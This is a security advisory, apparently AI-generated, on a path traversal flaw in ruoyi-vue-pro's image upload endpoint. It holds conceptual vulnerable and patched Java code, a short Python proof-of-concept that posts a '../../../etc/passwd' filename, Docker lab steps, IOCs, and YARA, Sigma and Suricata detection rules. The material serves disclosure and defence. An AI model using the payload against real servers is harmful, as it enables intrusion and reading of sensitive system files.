CVE-2025-2744

Executive Summary

CVE-2025-2744 is a critical path traversal vulnerability discovered in the zhijiantianya ruoyi-vue-pro application, version 2.4.1. The flaw resides in the /admin-api/mp/material/upload-news-image endpoint of the Material Upload Interface. By manipulating the File argument, an unauthenticated remote attacker can traverse directories outside the intended upload directory, potentially reading, writing, or overwriting arbitrary files on the server. This can lead to full server compromise, data exfiltration, or remote code execution if combined with other weaknesses. The vendor has not responded to disclosure, and no official patch is available at this time.

Supply Chain & Package Security

This vulnerability affects a Java/Spring-based web application (ruoyi-vue-pro). While not a direct package manager issue (NPM, PyPI, Go, Ruby), the application is often distributed as a pre-built JAR or Docker image. Organizations using this software should treat it as a critical supply chain risk and verify the integrity of their deployment artifacts.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivially exploitable remotely without authentication, making it a high-priority threat for any exposed instance.

Deep Dive & Mechanics

The vulnerable endpoint /admin-api/mp/material/upload-news-image is designed to accept image uploads for news materials. The application fails to properly sanitize the File parameter, allowing an attacker to inject path traversal sequences (e.g., ../) into the filename or file path. This enables the attacker to write files to arbitrary locations on the filesystem, such as overwriting configuration files, uploading web shells, or reading sensitive files like /etc/passwd or application secrets.

The root cause is a lack of input validation and path normalization in the file upload handler. The application likely uses a method like new File(basePath, userInput) without checking if the resulting path is still within the intended directory.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation without validation
String uploadDir = "/var/www/uploads/";
String fileName = request.getParameter("File");
File destFile = new File(uploadDir + fileName);
// No check if destFile is within uploadDir
file.transferTo(destFile);

Patched Code (Conceptual):

// Patched: Validate and sanitize the path
String uploadDir = "/var/www/uploads/";
String fileName = request.getParameter("File");
// Normalize and resolve the path
File destFile = new File(uploadDir, fileName).getCanonicalFile();
// Ensure the resolved path is within the intended directory
if (!destFile.getPath().startsWith(new File(uploadDir).getCanonicalPath())) {
    throw new SecurityException("Invalid file path");
}
file.transferTo(destFile);

Exploitation & Lab Setup

Red Team

Exploit Proof-of-Concept (Python):

import requests

target = "http://target.com/admin-api/mp/material/upload-news-image"
payload = "../../../etc/passwd"
files = {"File": (payload, "malicious content", "image/jpeg")}
response = requests.post(target, files=files)
print(response.text)

Lab Setup:

1. Deploy ruoyi-vue-pro 2.4.1 using Docker: docker run -d -p 8080:8080 zhijiantianya/ruoyi-vue-pro:2.4.1
2. Verify the endpoint is accessible: curl -X POST http://localhost:8080/admin-api/mp/material/upload-news-image
3. Execute the exploit script above to attempt file write/read.

Blue Team

Detection Steps:

• Monitor for POST requests to /admin-api/mp/material/upload-news-image with unusual File parameters containing ../ or ..\\.
• Check file system for unexpected files in sensitive directories (e.g., /etc/, /var/www/html/).
• Review application logs for path traversal patterns.

Honeypot Strategy:

• Deploy a decoy endpoint that mimics the vulnerable upload handler and logs all attempts.
• Use a canary file (e.g., /tmp/canary.txt) and monitor for access.

Indicators of Compromise (IOCs)

• Network: POST requests to /admin-api/mp/material/upload-news-image with File parameter containing ../ or ..\\.
• File System: Unexpected files in /etc/, /var/www/html/, or application directories.
• Logs: Application logs showing FileNotFoundException or SecurityException related to path traversal.
• Process: Unusual processes spawned from the web application user (e.g., reverse shells).

Detection Engineering

YARA Rule

rule CVE_2025_2744_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in ruoyi-vue-pro upload endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-2744"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/admin-api/mp/material/upload-news-image"
    condition:
        $endpoint and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2025-2744 Path Traversal in ruoyi-vue-pro
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against the material upload endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin-api/mp/material/upload-news-image'
        cs-uri-query|contains|all:
            - 'File='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in filenames (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2744 Path Traversal in ruoyi-vue-pro"; flow:to_server,established; content:"POST"; http_method; content:"/admin-api/mp/material/upload-news-image"; http_uri; content:"../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any exposed instances of ruoyi-vue-pro 2.4.1 from the internet.
2. Implement a WAF rule to block requests containing ../ or ..\\ in the File parameter.
3. Apply input validation at the reverse proxy level (e.g., Nginx, Apache) to reject suspicious upload paths.

Long-Term Fix:

• Since no official patch exists, consider forking the repository and applying the patched code logic shown above.
• Upgrade to a newer version of ruoyi-vue-pro if available, or migrate to an alternative framework.
• Conduct a full security audit of the application's file upload functionality.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.